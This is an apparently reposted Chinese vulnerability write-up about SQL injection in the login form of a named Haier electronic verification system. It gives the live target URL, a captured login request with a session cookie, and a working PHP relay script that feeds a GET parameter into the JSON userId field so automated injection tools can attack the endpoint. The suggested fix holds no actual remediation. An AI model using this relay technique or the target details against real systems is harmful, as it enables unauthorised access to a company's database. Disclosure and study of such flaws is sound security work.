好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

海尔集团某重要系统很有姿势的SQL注射 - 网站安

系统地址:http://evs.haier.net/e asp /uiloader/login. html 海尔电子核销 系统

 

在登陆的时候,用单引号登陆,就报错了

 

本来以为会很简单,用一般的post注入就搞定。

 

 

但是我还是太傻太天真,抓到包的那一刻我眼泪掉下来。

  POST http://evs.haier.net/easp/uiloader/$/ssb/uiloader/ssoLoginMgt/login.ssm HTTP/1.1 Accept: */* Referer: http://evs.haier.net/easp/uiloader/login.html Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: evs.haier.net Content-Length: 40 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: JSESSIONID=2kpTSFLPRmJ2Fn1CYrJlD1GJjhmpVG8knMRSyMzkLRDpFM40t6L2!-881110793; cctUserId=admin; cctLocale=zh [{"userId":"admin","password":"123456"}]

 

传递出去的参数是这样的啊,[{"userId":"admin","password":"123456"}],SQLmap和其他的工具根本就不认啊。但是这明显就是注入啊?

 

 

 

只能无奈,写一个中转php文件,大爱小学生。

  <?php if (empty($_GET['id'])){ echo "vip.php?id=z7ysbsbsb"; }else{ $id=$_GET['id']; $post_data="[{\"userId\":\"$id\",\"password\":\"123456\"}]"; $url='http://evs.haier.net/easp/uiloader/$/ssb/uiloader/ssoLoginMgt/login.ssm'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); ob_start(); curl_exec($ch); $result = ob_get_contents() ; ob_end_clean(); echo $result; } ?>

 

这里get的ID来替换掉post里面的userid参数,来实现注入。

 

本地访问下看看。

 

恩,看样子是问题不大了。

 

这里由于是中转注射了,本地是win的环境和php,可能检测出来跟服务器有差别。

但是呢,数据是跑不掉的。

 

 

over。 

 

 

修复方案: 注入啊注入,老是在登陆框~伤了心。

 

查看更多关于海尔集团某重要系统很有姿势的SQL注射 - 网站安的详细内容...

  阅读:55次